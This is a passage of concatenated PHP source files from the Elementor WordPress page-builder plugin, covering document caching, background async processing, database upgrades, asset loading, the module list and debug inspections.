) ) { $expiration_hours = '24'; } $expiration_hours = absint( $expiration_hours ); $expiration = '+' . $expiration_hours . ' hours'; $data = [ 'timeout' => strtotime( $expiration, current_time( 'timestamp' ) ), 'value' => $value, ]; $this->update_json_meta( static::CACHE_META_KEY, $data ); } private function get_document_cache() { $cache = $this->get_json_meta( static::CACHE_META_KEY ); if ( empty( $cache['timeout'] ) ) { return false; } if ( current_time( 'timestamp' ) > $cache['timeout'] ) { return false; } if ( ! is_array( $cache['value'] ) ) { return false; } return $cache['value']; } protected function delete_cache() { $this->delete_meta( static::CACHE_META_KEY ); } private function should_store_cache_elements() { static $should_store_cache_elements = null; if ( null === $should_store_cache_elements ) { $should_store_cache_elements = ( ! is_admin() && ! Plugin::$instance->preview->is_preview_mode() ); } return $should_store_cache_elements; } protected function register_document_controls() { $this->start_controls_section( 'document_settings', [ 'label' => esc_html__( 'General Settings', 'elementor' ), 'tab' => Controls_Manager::TAB_SETTINGS, ] ); $this->add_control( 'post_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => $this->post->post_title, 'label_block' => true, ] ); $post_type_object = get_post_type_object( $this->post->post_type ); $can_publish = $post_type_object && current_user_can( $post_type_object->cap->publish_posts ); $is_published = self::STATUS_PUBLISH === $this->post->post_status || self::STATUS_PRIVATE === $this->post->post_status; if ( $is_published || $can_publish || ! Plugin::$instance->editor->is_edit_mode() ) { $statuses = $this->get_post_statuses(); if ( 'future' === $this->get_main_post()->post_status ) { $statuses['future'] = esc_html__( 'Future', 'elementor' ); } $this->add_control( 'post_status', [ 'label' => esc_html__( 'Status', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $this->get_main_post()->post_status, 'options' => $statuses, ] ); } $this->end_controls_section(); } protected function get_post_statuses() { return get_post_statuses(); } protected function get_have_a_look_url() { return $this->get_permalink(); } public function handle_revisions_changed( $post_has_changed, $last_revision, $post ) { // In case default, didn't determine the changes. if ( ! $post_has_changed ) { $last_revision_id = $last_revision->ID; $last_revision_document = Plugin::instance()->documents->get( $last_revision_id ); $post_document = Plugin::instance()->documents->get( $post->ID ); $last_revision_settings = $last_revision_document->get_settings(); $post_settings = $post_document->get_settings(); // TODO: Its better to add crc32 signature for each revision and then only compare one part of the checksum. $post_has_changed = $last_revision_settings !== $post_settings; } return $post_has_changed; } private function add_handle_revisions_changed_filter() { add_filter( 'wp_save_post_revision_post_has_changed', [ $this, 'handle_revisions_changed' ], 10, 3 ); } private function remove_handle_revisions_changed_filter() { remove_filter( 'wp_save_post_revision_post_has_changed', [ $this, 'handle_revisions_changed' ] ); } private function get_runtime_elements_iteration_actions() { $runtime_elements_iteration_actions = []; $elements_iteration_actions = $this->get_elements_iteration_actions(); foreach ( $elements_iteration_actions as $elements_iteration_action ) { if ( $elements_iteration_action->is_action_needed() ) { $runtime_elements_iteration_actions[] = $elements_iteration_action; } } return $runtime_elements_iteration_actions; } private function iterate_elements( $elements, $elements_iteration_actions, $mode ) { $unique_page_elements = []; foreach ( $elements_iteration_actions as $elements_iteration_action ) { $elements_iteration_action->set_mode( $mode ); } Plugin::$instance->db->iterate_data( $elements, function( array $element_data ) use ( &$unique_page_elements, $elements_iteration_actions ) { $element_type = 'widget' === $element_data['elType'] ? $element_data['widgetType'] : $element_data['elType']; $element = Plugin::$instance->elements_manager->create_element_instance( $element_data ); if ( $element ) { if ( ! in_array( $element_type, $unique_page_elements, true ) ) { $unique_page_elements[] = $element_type; foreach ( $elements_iteration_actions as $elements_iteration_action ) { $elements_iteration_action->unique_element_action( $element ); } } foreach ( $elements_iteration_actions as $elements_iteration_action ) { $elements_iteration_action->element_action( $element ); } } return $element_data; } ); foreach ( $elements_iteration_actions as $elements_iteration_action ) { $elements_iteration_action->after_elements_iteration(); } } private function get_elements_iteration_actions() { if ( ! $this->elements_iteration_actions ) { $this->elements_iteration_actions[] = new Assets_Iteration_Action( $this ); } return $this->elements_iteration_actions; } } core/base/background-process/wp-async-request.php000064400000005605147206604650016161 0ustar00identifier = $this->prefix . '_' . $this->action; add_action( 'wp_ajax_' . $this->identifier, array( $this, 'maybe_handle' ) ); add_action( 'wp_ajax_nopriv_' . $this->identifier, array( $this, 'maybe_handle' ) ); } /** * Set data used during the request * * @param array $data Data. * * @return $this */ public function data( $data ) { $this->data = $data; return $this; } /** * Dispatch the async request * * @return array|\WP_Error */ public function dispatch() { $url = add_query_arg( $this->get_query_args(), $this->get_query_url() ); $args = $this->get_post_args(); return wp_remote_post( esc_url_raw( $url ), $args ); } /** * Get query args * * @return array */ protected function get_query_args() { if ( property_exists( $this, 'query_args' ) ) { return $this->query_args; } return array( 'action' => $this->identifier, 'nonce' => wp_create_nonce( $this->identifier ), ); } /** * Get query URL * * @return string */ protected function get_query_url() { if ( property_exists( $this, 'query_url' ) ) { return $this->query_url; } return admin_url( 'admin-ajax.php' ); } /** * Get post args * * @return array */ protected function get_post_args() { if ( property_exists( $this, 'post_args' ) ) { return $this->post_args; } return array( 'timeout' => 0.01, 'blocking' => false, 'body' => $this->data, 'cookies' => $_COOKIE, /** This filter is documented in wp-includes/class-wp-http-streams.php */ 'sslverify' => apply_filters( 'https_local_ssl_verify', false ), ); } /** * Maybe handle * * Check for correct nonce and pass to handler. */ public function maybe_handle() { // Don't lock up other requests while processing session_write_close(); check_ajax_referer( $this->identifier, 'nonce' ); $this->handle(); wp_die(); } /** * Handle * * Override this method to perform any actions required * during the async request. */ abstract protected function handle(); } core/base/background-process/wp-background-process.php000064400000025510147206604650017146 0ustar00cron_hook_identifier = $this->identifier . '_cron'; $this->cron_interval_identifier = $this->identifier . '_cron_interval'; add_action( $this->cron_hook_identifier, array( $this, 'handle_cron_healthcheck' ) ); add_filter( 'cron_schedules', array( $this, 'schedule_cron_healthcheck' ) ); } /** * Dispatch * * @access public * @return array|\WP_Error */ public function dispatch() { // Schedule the cron healthcheck. $this->schedule_event(); // Perform remote post. return parent::dispatch(); } /** * Push to queue * * @param mixed $data Data. * * @return $this */ public function push_to_queue( $data ) { $this->data[] = $data; return $this; } /** * Save queue * * @return $this */ public function save() { $key = $this->generate_key(); if ( ! empty( $this->data ) ) { update_site_option( $key, $this->data ); } return $this; } /** * Update queue * * @param string $key Key. * @param array $data Data. * * @return $this */ public function update( $key, $data ) { if ( ! empty( $data ) ) { update_site_option( $key, $data ); } return $this; } /** * Delete queue * * @param string $key Key. * * @return $this */ public function delete( $key ) { delete_site_option( $key ); return $this; } /** * Generate key * * Generates a unique key based on microtime. Queue items are * given a unique key so that they can be merged upon save. * * @param int $length Length. * * @return string */ protected function generate_key( $length = 64 ) { $unique = md5( microtime() . rand() ); $prepend = $this->identifier . '_batch_'; return substr( $prepend . $unique, 0, $length ); } /** * Maybe process queue * * Checks whether data exists within the queue and that * the process is not already running. */ public function maybe_handle() { // Don't lock up other requests while processing session_write_close(); if ( $this->is_process_running() ) { // Background process already running. wp_die(); } if ( $this->is_queue_empty() ) { // No data to process. wp_die(); } check_ajax_referer( $this->identifier, 'nonce' ); $this->handle(); wp_die(); } /** * Is queue empty * * @return bool */ protected function is_queue_empty() { global $wpdb; $table = $wpdb->options; $column = 'option_name'; if ( is_multisite() ) { $table = $wpdb->sitemeta; $column = 'meta_key'; } $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared // Can't use placeholders for table/column names, it will be wrapped by a single quote (') instead of a backquote (`). $count = $wpdb->get_var( $wpdb->prepare( " SELECT COUNT(*) FROM {$table} WHERE {$column} LIKE %s ", $key ) ); // phpcs:enable return ( $count > 0 ) ? false : true; } /** * Is process running * * Check whether the current process is already running * in a background process. */ protected function is_process_running() { if ( get_site_transient( $this->identifier . '_process_lock' ) ) { // Process already running. return true; } return false; } /** * Lock process * * Lock the process so that multiple instances can't run simultaneously. * Override if applicable, but the duration should be greater than that * defined in the time_exceeded() method. */ protected function lock_process() { $this->start_time = time(); // Set start time of current process. $lock_duration = ( property_exists( $this, 'queue_lock_time' ) ) ? $this->queue_lock_time : 60; // 1 minute $lock_duration = apply_filters( $this->identifier . '_queue_lock_time', $lock_duration ); set_site_transient( $this->identifier . '_process_lock', microtime(), $lock_duration ); } /** * Unlock process * * Unlock the process so that other instances can spawn. * * @return $this */ protected function unlock_process() { delete_site_transient( $this->identifier . '_process_lock' ); return $this; } /** * Get batch * * @return \stdClass Return the first batch from the queue */ protected function get_batch() { global $wpdb; $table = $wpdb->options; $column = 'option_name'; $key_column = 'option_id'; $value_column = 'option_value'; if ( is_multisite() ) { $table = $wpdb->sitemeta; $column = 'meta_key'; $key_column = 'meta_id'; $value_column = 'meta_value'; } $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared // Can't use placeholders for table/column names, it will be wrapped by a single quote (') instead of a backquote (`). $query = $wpdb->get_row( $wpdb->prepare( " SELECT * FROM {$table} WHERE {$column} LIKE %s ORDER BY {$key_column} ASC LIMIT 1 ", $key ) ); // phpcs:enable $batch = new \stdClass(); $batch->key = $query->$column; $batch->data = maybe_unserialize( $query->$value_column ); return $batch; } /** * Handle * * Pass each queue item to the task handler, while remaining * within server memory and time limit constraints. */ protected function handle() { $this->lock_process(); do { $batch = $this->get_batch(); foreach ( $batch->data as $key => $value ) { $task = $this->task( $value ); if ( false !== $task ) { $batch->data[ $key ] = $task; } else { unset( $batch->data[ $key ] ); } if ( $this->time_exceeded() || $this->memory_exceeded() ) { // Batch limits reached. break; } } // Update or delete current batch. if ( ! empty( $batch->data ) ) { $this->update( $batch->key, $batch->data ); } else { $this->delete( $batch->key ); } } while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() ); $this->unlock_process(); // Start next batch or complete process. if ( ! $this->is_queue_empty() ) { $this->dispatch(); } else { $this->complete(); } wp_die(); } /** * Memory exceeded * * Ensures the batch process never exceeds 90% * of the maximum WordPress memory. * * @return bool */ protected function memory_exceeded() { $memory_limit = $this->get_memory_limit() * 0.9; // 90% of max memory $current_memory = memory_get_usage( true ); $return = false; if ( $current_memory >= $memory_limit ) { $return = true; } return apply_filters( $this->identifier . '_memory_exceeded', $return ); } /** * Get memory limit * * @return int */ protected function get_memory_limit() { if ( function_exists( 'ini_get' ) ) { $memory_limit = ini_get( 'memory_limit' ); } else { // Sensible default. $memory_limit = '128M'; } if ( ! $memory_limit || -1 === intval( $memory_limit ) ) { // Unlimited, set to 32GB. $memory_limit = '32000M'; } return intval( $memory_limit ) * 1024 * 1024; } /** * Time exceeded. * * Ensures the batch never exceeds a sensible time limit. * A timeout limit of 30s is common on shared hosting. * * @return bool */ protected function time_exceeded() { $finish = $this->start_time + apply_filters( $this->identifier . '_default_time_limit', 20 ); // 20 seconds $return = false; if ( time() >= $finish ) { $return = true; } return apply_filters( $this->identifier . '_time_exceeded', $return ); } /** * Complete. * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). */ protected function complete() { // Unschedule the cron healthcheck. $this->clear_scheduled_event(); } /** * Schedule cron healthcheck * * @access public * @param mixed $schedules Schedules. * @return mixed */ public function schedule_cron_healthcheck( $schedules ) { $interval = apply_filters( $this->identifier . '_cron_interval', 5 ); if ( property_exists( $this, 'cron_interval' ) ) { $interval = apply_filters( $this->identifier . '_cron_interval', $this->cron_interval ); } // Adds every 5 minutes to the existing schedules. $schedules[ $this->identifier . '_cron_interval' ] = array( 'interval' => MINUTE_IN_SECONDS * $interval, 'display' => sprintf( /* translators: %d: Interval in minutes. */ esc_html__( 'Every %d minutes', 'elementor' ), $interval, ), ); return $schedules; } /** * Handle cron healthcheck * * Restart the background process if not already running * and data exists in the queue. */ public function handle_cron_healthcheck() { if ( $this->is_process_running() ) { // Background process already running. exit; } if ( $this->is_queue_empty() ) { // No data to process. $this->clear_scheduled_event(); exit; } $this->handle(); exit; } /** * Schedule event */ protected function schedule_event() { if ( ! wp_next_scheduled( $this->cron_hook_identifier ) ) { wp_schedule_event( time(), $this->cron_interval_identifier, $this->cron_hook_identifier ); } } /** * Clear scheduled event */ protected function clear_scheduled_event() { $timestamp = wp_next_scheduled( $this->cron_hook_identifier ); if ( $timestamp ) { wp_unschedule_event( $timestamp, $this->cron_hook_identifier ); } } /** * Cancel Process * * Stop processing queue items, clear cronjob and delete batch. * */ public function cancel_process() { if ( ! $this->is_queue_empty() ) { $batch = $this->get_batch(); $this->delete( $batch->key ); wp_clear_scheduled_hook( $this->cron_hook_identifier ); } } /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @param mixed $item Queue item to iterate over. * * @return mixed */ abstract protected function task( $item ); } core/base/db-upgrades-manager.php000064400000013751147206604650012745 0ustar00query_limit; } public function set_query_limit( $limit ) { $this->query_limit = $limit; } public function get_current_version() { if ( null === $this->current_version ) { $this->current_version = get_option( $this->get_version_option_name() ); } return $this->current_version; } public function should_upgrade() { $current_version = $this->get_current_version(); // It's a new install. if ( ! $current_version ) { $this->update_db_version(); return false; } return version_compare( $this->get_new_version(), $current_version, '>' ); } public function on_runner_start() { parent::on_runner_start(); if ( ! defined( 'IS_ELEMENTOR_UPGRADE' ) ) { define( 'IS_ELEMENTOR_UPGRADE', true ); } } public function on_runner_complete( $did_tasks = false ) { $logger = Plugin::$instance->logger->get_logger(); $logger->info( 'Elementor data updater process has been completed.', [ 'meta' => [ 'plugin' => $this->get_plugin_label(), 'from' => $this->current_version, 'to' => $this->get_new_version(), ], ] ); $this->clear_cache(); $this->update_db_version(); if ( $did_tasks ) { $this->add_flag( 'completed' ); } } protected function clear_cache() { Plugin::$instance->files_manager->clear_cache(); } public function admin_notice_start_upgrade() { /** * @var Admin_Notices $admin_notices */ $admin_notices = Plugin::$instance->admin->get_component( 'admin-notices' ); $options = [ 'title' => $this->get_updater_label(), 'description' => esc_html__( 'Your site database needs to be updated to the latest version.', 'elementor' ), 'type' => 'error', 'icon' => false, 'button' => [ 'text' => esc_html__( 'Update Now', 'elementor' ), 'url' => $this->get_start_action_url(), 'class' => 'e-button e-button--cta', ], ]; $admin_notices->print_admin_notice( $options ); } public function admin_notice_upgrade_is_running() { /** * @var Admin_Notices $admin_notices */ $admin_notices = Plugin::$instance->admin->get_component( 'admin-notices' ); $options = [ 'title' => $this->get_updater_label(), 'description' => esc_html__( 'Database update process is running in the background. Taking a while?', 'elementor' ), 'type' => 'warning', 'icon' => false, 'button' => [ 'text' => esc_html__( 'Click here to run it now', 'elementor' ), 'url' => $this->get_continue_action_url(), 'class' => 'e-button e-button--primary', ], ]; $admin_notices->print_admin_notice( $options ); } public function admin_notice_upgrade_is_completed() { $this->delete_flag( 'completed' ); $message = esc_html__( 'The database update process is now complete. Thank you for updating to the latest version!', 'elementor' ); /** * @var Admin_Notices $admin_notices */ $admin_notices = Plugin::$instance->admin->get_component( 'admin-notices' ); $options = [ 'description' => '' . $this->get_updater_label() . ' - ' . $message, 'type' => 'success', 'icon' => false, ]; $admin_notices->print_admin_notice( $options ); } /** * @access protected */ protected function start_run() { $updater = $this->get_task_runner(); if ( $updater->is_running() ) { return; } $upgrade_callbacks = $this->get_upgrade_callbacks(); if ( empty( $upgrade_callbacks ) ) { $this->on_runner_complete(); return; } $this->clear_cache(); foreach ( $upgrade_callbacks as $callback ) { $updater->push_to_queue( [ 'callback' => $callback, ] ); } $updater->save()->dispatch(); Plugin::$instance->logger->get_logger()->info( 'Elementor data updater process has been queued.', [ 'meta' => [ 'plugin' => $this->get_plugin_label(), 'from' => $this->current_version, 'to' => $this->get_new_version(), ], ] ); } protected function update_db_version() { update_option( $this->get_version_option_name(), $this->get_new_version() ); } public function get_upgrade_callbacks() { $prefix = '_v_'; $upgrades_class = $this->get_upgrades_class(); $upgrades_reflection = new \ReflectionClass( $upgrades_class ); $callbacks = []; foreach ( $upgrades_reflection->getMethods() as $method ) { $method_name = $method->getName(); if ( '_on_each_version' === $method_name ) { $callbacks[] = [ $upgrades_class, $method_name ]; continue; } if ( false === strpos( $method_name, $prefix ) ) { continue; } if ( ! preg_match_all( "/$prefix(\d+_\d+_\d+)/", $method_name, $matches ) ) { continue; } $method_version = str_replace( '_', '.', $matches[1][0] ); if ( ! version_compare( $method_version, $this->current_version, '>' ) ) { continue; } $callbacks[] = [ $upgrades_class, $method_name ]; } return $callbacks; } public function __construct() { // If upgrade is completed - show the notice only for admins. // Note: in this case `should_upgrade` returns false, because it's already upgraded. if ( is_admin() && current_user_can( 'update_plugins' ) && $this->get_flag( 'completed' ) ) { add_action( 'admin_notices', [ $this, 'admin_notice_upgrade_is_completed' ] ); } if ( ! $this->should_upgrade() ) { return; } $updater = $this->get_task_runner(); $this->start_run(); if ( $updater->is_running() && current_user_can( 'update_plugins' ) ) { add_action( 'admin_notices', [ $this, 'admin_notice_upgrade_is_running' ] ); } parent::__construct(); } } core/base/base-object.php000064400000013064147206604650011313 0ustar00ensure_settings(); return self::get_items( $this->settings, $setting ); } /** * Set settings. * * @since 2.3.0 * @access public * * @param array|string $key If key is an array, the settings are overwritten by that array. Otherwise, the * settings of the key will be set to the given `$value` param. * * @param mixed $value Optional. Default is null. */ final public function set_settings( $key, $value = null ) { $this->ensure_settings(); if ( is_array( $key ) ) { $this->settings = $key; } else { $this->settings[ $key ] = $value; } } /** * Delete setting. * * Deletes the settings array or a specific key of the settings array if `$key` is specified. * @since 2.3.0 * @access public * * @param string $key Optional. Default is null. */ public function delete_setting( $key = null ) { if ( $key ) { unset( $this->settings[ $key ] ); } else { $this->settings = []; } } final public function merge_properties( array $default_props, array $custom_props, array $allowed_props_keys = [] ) { $props = array_replace_recursive( $default_props, $custom_props ); if ( $allowed_props_keys ) { $props = array_intersect_key( $props, array_flip( $allowed_props_keys ) ); } return $props; } /** * Get items. * * Utility method that receives an array with a needle and returns all the * items that match the needle. If needle is not defined the entire haystack * will be returned. * * @since 2.3.0 * @access protected * @static * * @param array $haystack An array of items. * @param string $needle Optional. Needle. Default is null. * * @return mixed The whole haystack or the needle from the haystack when requested. */ final protected static function get_items( array $haystack, $needle = null ) { if ( $needle ) { return isset( $haystack[ $needle ] ) ? $haystack[ $needle ] : null; } return $haystack; } /** * Get init settings. * * Used to define the default/initial settings of the object. Inheriting classes may implement this method to define * their own default/initial settings. * * @since 2.3.0 * @access protected * * @return array */ protected function get_init_settings() { return []; } /** * Ensure settings. * * Ensures that the `$settings` member is initialized * * @since 2.3.0 * @access private */ private function ensure_settings() { if ( null === $this->settings ) { $this->settings = $this->get_init_settings(); } } /** * Has Own Method * * Used for check whether the method passed as a parameter was declared in the current instance or inherited. * If a base_class_name is passed, it checks whether the method was declared in that class. If the method's * declaring class is the class passed as $base_class_name, it returns false. Otherwise (method was NOT declared * in $base_class_name), it returns true. * * Example #1 - only $method_name is passed: * The initial declaration of `register_controls()` happens in the `Controls_Stack` class. However, all * widgets which have their own controls declare this function as well, overriding the original * declaration. If `has_own_method()` would be called by a Widget's class which implements `register_controls()`, * with 'register_controls' passed as the first parameter - `has_own_method()` will return true. If the Widget * does not declare `register_controls()`, `has_own_method()` will return false. * * Example #2 - both $method_name and $base_class_name are passed * In this example, the widget class inherits from a base class `Widget_Base`, and the base implements * `register_controls()` to add certain controls to all widgets inheriting from it. `has_own_method()` is called by * the widget, with the string 'register_controls' passed as the first parameter, and 'Elementor\Widget_Base' (its full name * including the namespace) passed as the second parameter. If the widget class implements `register_controls()`, * `has_own_method` will return true. If the widget class DOESN'T implement `register_controls()`, it will return * false (because `Widget_Base` is the declaring class for `register_controls()`, and not the class that called * `has_own_method()`). * * @since 3.1.0 * * @param string $method_name * @param string $base_class_name * * @return bool True if the method was declared by the current instance, False if it was inherited. */ public function has_own_method( $method_name, $base_class_name = null ) { try { $reflection_method = new \ReflectionMethod( $this, $method_name ); // If a ReflectionMethod is successfully created, get its declaring class. $declaring_class = $reflection_method->getDeclaringClass(); } catch ( \Exception $e ) { return false; } if ( $base_class_name ) { return $base_class_name !== $declaring_class->name; } return get_called_class() === $declaring_class->name; } } core/base/elements-iteration-actions/base.php000064400000003307147206604650015314 0ustar00mode = $mode; } public function __construct( $document ) { $this->document = $document; } } core/base/elements-iteration-actions/assets.php000064400000012637147206604650015712 0ustar00get_active_settings(); $controls = $element_data->get_controls(); $element_assets = $this->get_assets( $settings, $controls ); $element_assets_depend = [ 'styles' => $element_data->get_style_depends(), 'scripts' => $element_data->get_script_depends(), ]; if ( $element_assets_depend ) { foreach ( $element_assets_depend as $assets_type => $assets ) { if ( empty( $assets ) ) { continue; } if ( ! isset( $element_assets[ $assets_type ] ) ) { $element_assets[ $assets_type ] = []; } foreach ( $assets as $asset_name ) { if ( ! in_array( $asset_name, $element_assets[ $assets_type ], true ) ) { $element_assets[ $assets_type ][] = $asset_name; } } } } if ( $element_assets ) { $this->update_page_assets( $element_assets ); } } public function is_action_needed() { // No need to evaluate in preview mode, will be made in the saving process. if ( Plugin::$instance->preview->is_preview_mode() ) { return false; } $page_assets = $this->get_saved_page_assets(); // When $page_assets is array it means that the assets registration has already been made at least once. if ( is_array( $page_assets ) ) { return false; } return true; } public function after_elements_iteration() { // In case that the page assets value is empty, it should still be saved as an empty array as an indication that at lease one iteration has occurred. if ( ! is_array( $this->page_assets ) ) { $this->page_assets = []; } $this->get_document_assets(); // Saving the page assets data. $this->document->update_meta( self::ASSETS_META_KEY, $this->page_assets ); if ( 'render' === $this->mode && $this->page_assets ) { Plugin::$instance->assets_loader->enable_assets( $this->page_assets ); } } private function get_saved_page_assets( $force_meta_fetch = false ) { if ( ! is_array( $this->saved_page_assets ) || $force_meta_fetch ) { $this->saved_page_assets = $this->document->get_meta( self::ASSETS_META_KEY ); } return $this->saved_page_assets; } private function update_page_assets( $new_assets ) { if ( ! is_array( $this->page_assets ) ) { $this->page_assets = []; } foreach ( $new_assets as $assets_type => $assets_type_data ) { if ( ! isset( $this->page_assets[ $assets_type ] ) ) { $this->page_assets[ $assets_type ] = []; } foreach ( $assets_type_data as $asset_name ) { if ( ! in_array( $asset_name, $this->page_assets[ $assets_type ], true ) ) { $this->page_assets[ $assets_type ][] = $asset_name; } } } } private function get_assets( $settings, $controls ) { $assets = []; foreach ( $settings as $setting_key => $setting ) { if ( ! isset( $controls[ $setting_key ] ) ) { continue; } $control = $controls[ $setting_key ]; // Enabling assets loading from the registered control fields. if ( ! empty( $control['assets'] ) ) { foreach ( $control['assets'] as $assets_type => $dependencies ) { foreach ( $dependencies as $dependency ) { if ( ! empty( $dependency['conditions'] ) ) { $is_condition_fulfilled = Conditions::check( $dependency['conditions'], $settings ); if ( ! $is_condition_fulfilled ) { continue; } } if ( ! isset( $assets[ $assets_type ] ) ) { $assets[ $assets_type ] = []; } $assets[ $assets_type ][] = $dependency['name']; } } } // Enabling assets loading from the control object. $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); $control_conditional_assets = $control_obj::get_assets( $setting ); if ( $control_conditional_assets ) { foreach ( $control_conditional_assets as $assets_type => $dependencies ) { foreach ( $dependencies as $dependency ) { if ( ! isset( $assets[ $assets_type ] ) ) { $assets[ $assets_type ] = []; } $assets[ $assets_type ][] = $dependency; } } } } return $assets; } private function get_document_assets() { $document_id = $this->document->get_post()->ID; // Getting the document instance in order to get the most updated settings. $updated_document = Plugin::$instance->documents->get( $document_id, false ); $document_settings = $updated_document->get_settings(); $document_controls = $this->document->get_controls(); $document_assets = $this->get_assets( $document_settings, $document_controls ); if ( $document_assets ) { $this->update_page_assets( $document_assets ); } } public function __construct( $document ) { parent::__construct( $document ); // No need to enable assets in preview mode, all assets will be loaded by default by the assets loader. if ( Plugin::$instance->preview->is_preview_mode() ) { return; } $page_assets = $this->get_saved_page_assets(); // If $page_assets is not empty then enabling the assets for loading. if ( $page_assets ) { Plugin::$instance->assets_loader->enable_assets( $page_assets ); } } } core/modules-manager.php000064400000006403147206604650011302 0ustar00get_modules_namespace_prefix(); foreach ( $this->get_modules_names() as $module_name ) { $class_name = str_replace( '-', ' ', $module_name ); $class_name = str_replace( ' ', '', ucwords( $class_name ) ); $class_name = $modules_namespace_prefix . '\\Modules\\' . $class_name . '\Module'; /** @var Module $class_name */ $experimental_data = $class_name::get_experimental_data(); if ( $experimental_data ) { Plugin::$instance->experiments->add_feature( $experimental_data ); if ( ! Plugin::$instance->experiments->is_feature_active( $experimental_data['name'] ) ) { continue; } } if ( $class_name::is_active() ) { $this->modules[ $module_name ] = $class_name::instance(); } } } /** * Get modules names. * * Retrieve the modules names. * * @since 2.0.0 * @access public * * @return string[] Modules names. */ public function get_modules_names() { return [ 'admin-bar', 'history', 'library', 'dynamic-tags', 'page-templates', 'gutenberg', 'wp-cli', 'safe-mode', 'ai', 'notifications', 'usage', 'dev-tools', 'landing-pages', 'compatibility-tag', 'generator-tag', 'elements-color-picker', 'shapes', 'favorites', 'admin-top-bar', 'checklist', 'element-manager', 'nested-elements', // Depends on Nested Elements module 'nested-tabs', 'nested-accordion', 'container-converter', 'web-cli', 'promotions', 'notes', 'performance-lab', 'lazyload', 'image-loading-optimization', 'kit-elements-defaults', 'announcements', 'editor-app-bar', 'site-navigation', 'styleguide', 'element-cache', 'apps', 'home', 'link-in-bio', 'floating-buttons', 'content-sanitizer', 'editor-events', 'atomic-widgets', 'wc-product-editor', 'checklist', ]; } /** * Get modules. * * Retrieve all the registered modules or a specific module. * * @since 2.0.0 * @access public * * @param string $module_name Module name. * * @return null|Module|Module[] All the registered modules or a specific module. */ public function get_modules( $module_name ) { if ( $module_name ) { if ( isset( $this->modules[ $module_name ] ) ) { return $this->modules[ $module_name ]; } return null; } return $this->modules; } /** * Get modules namespace prefix. * * Retrieve the modules namespace prefix. * * @since 2.0.0 * @access protected * * @return string Modules namespace prefix. */ protected function get_modules_namespace_prefix() { return 'Elementor'; } } core/debug/inspector.php000064400000006467147206604650011330 0ustar00is_enabled = is_null( $option ) ? $is_debug : 'enable' === $option; if ( $this->is_enabled ) { add_action( 'admin_bar_menu', [ $this, 'add_menu_in_admin_bar' ], 201 ); } add_action( 'elementor/admin/after_create_settings/' . Tools::PAGE_ID, [ $this, 'register_admin_tools_fields' ], 50 ); } /** * @since 2.1.3 * @access public */ public function is_enabled() { return $this->is_enabled; } /** * @since 2.1.3 * @access public */ public function register_admin_tools_fields( Tools $tools ) { $tools->add_fields( Settings::TAB_GENERAL, 'tools', [ 'enable_inspector' => [ 'label' => esc_html__( 'Debug Bar', 'elementor' ), 'field_args' => [ 'type' => 'select', 'std' => $this->is_enabled ? 'enable' : '', 'options' => [ '' => esc_html__( 'Disable', 'elementor' ), 'enable' => esc_html__( 'Enable', 'elementor' ), ], 'desc' => esc_html__( 'Debug Bar adds an admin bar menu that lists all the templates that are used on a page that is being displayed.', 'elementor' ), ], ], ] ); } /** * @since 2.1.2 * @access public */ public function parse_template_path( $template ) { // `untrailingslashit` for windows path style. if ( 0 === strpos( $template, untrailingslashit( ELEMENTOR_PATH ) ) ) { return 'Elementor - ' . basename( $template ); } if ( 0 === strpos( $template, get_stylesheet_directory() ) ) { return wp_get_theme()->get( 'Name' ) . ' - ' . basename( $template ); } $plugins_dir = dirname( ELEMENTOR_PATH ); if ( 0 === strpos( $template, $plugins_dir ) ) { return ltrim( str_replace( $plugins_dir, '', $template ), '/\\' ); } return str_replace( WP_CONTENT_DIR, '', $template ); } /** * @since 2.1.2 * @access public */ public function add_log( $module, $title, $url = '' ) { if ( ! $this->is_enabled ) { return; } if ( ! isset( $this->log[ $module ] ) ) { $this->log[ $module ] = []; } $this->log[ $module ][] = [ 'title' => $title, 'url' => $url, ]; } /** * @since 2.1.2 * @access public */ public function add_menu_in_admin_bar( \WP_Admin_Bar $wp_admin_bar ) { if ( empty( $this->log ) ) { return; } $wp_admin_bar->add_node( [ 'id' => 'elementor_inspector', 'title' => esc_html__( 'Elementor Debugger', 'elementor' ), ] ); foreach ( $this->log as $module => $log ) { $module_id = sanitize_key( $module ); $wp_admin_bar->add_menu( [ 'id' => 'elementor_inspector_' . $module_id, 'parent' => 'elementor_inspector', 'title' => $module, ] ); foreach ( $log as $index => $row ) { $url = $row['url']; unset( $row['url'] ); $wp_admin_bar->add_menu( [ 'id' => 'elementor_inspector_log_' . $module_id . '_' . $index, 'parent' => 'elementor_inspector_' . $module_id, 'href' => $url, 'title' => implode( ' > ', $row ), 'meta' => [ 'target' => '_blank', ], ] ); } } } } core/debug/classes/shop-page-edit.php000064400000001305147206604650013547 0ustar00message = esc_html__( 'Your site\'s .htaccess file appears to be missing.', 'elementor' ); } public function run() { $safe_mode_enabled = get_option( Safe_Mode::OPTION_ENABLED, '' ); if ( empty( $safe_mode_enabled ) || is_multisite() ) { return true; } $permalink_structure = get_option( 'permalink_structure' ); if ( empty( $permalink_structure ) || empty( $_SERVER['SERVER_SOFTWARE'] ) ) { return true; } $server = strtoupper( Utils::get_super_global_value( $_SERVER, 'SERVER_SOFTWARE' ) ); if ( strstr( $server, 'APACHE' ) ) { $htaccess_file = get_home_path() . '.htaccess'; /* translators: %s: Path to .htaccess file. */ $this->message .= ' ' . sprintf( esc_html__( 'File Path: %s', 'elementor' ), $htaccess_file ) . ' '; return file_exists( $htaccess_file ); } return true; } public function get_name() { return 'apache-htaccess'; } public function get_message() { return $this->message; } public function get_help_doc_url() { return 'https://go.elementor.com/preview-not-loaded/#htaccess'; } } core/debug/classes/inspection-base.php000064400000000766147206604650014036 0ustar00exists(); } public function get_name() { return 'theme-missing'; } public function get_message() { return esc_html__( 'Some of your theme files are missing.', 'elementor' ); } public function get_help_doc_url() { return 'https://go.elementor.com/preview-not-loaded/#theme-files'; } } core/debug/loading-inspection-manager.php000064400000003370147206604650014506 0ustar00inspections['theme-missing'] = 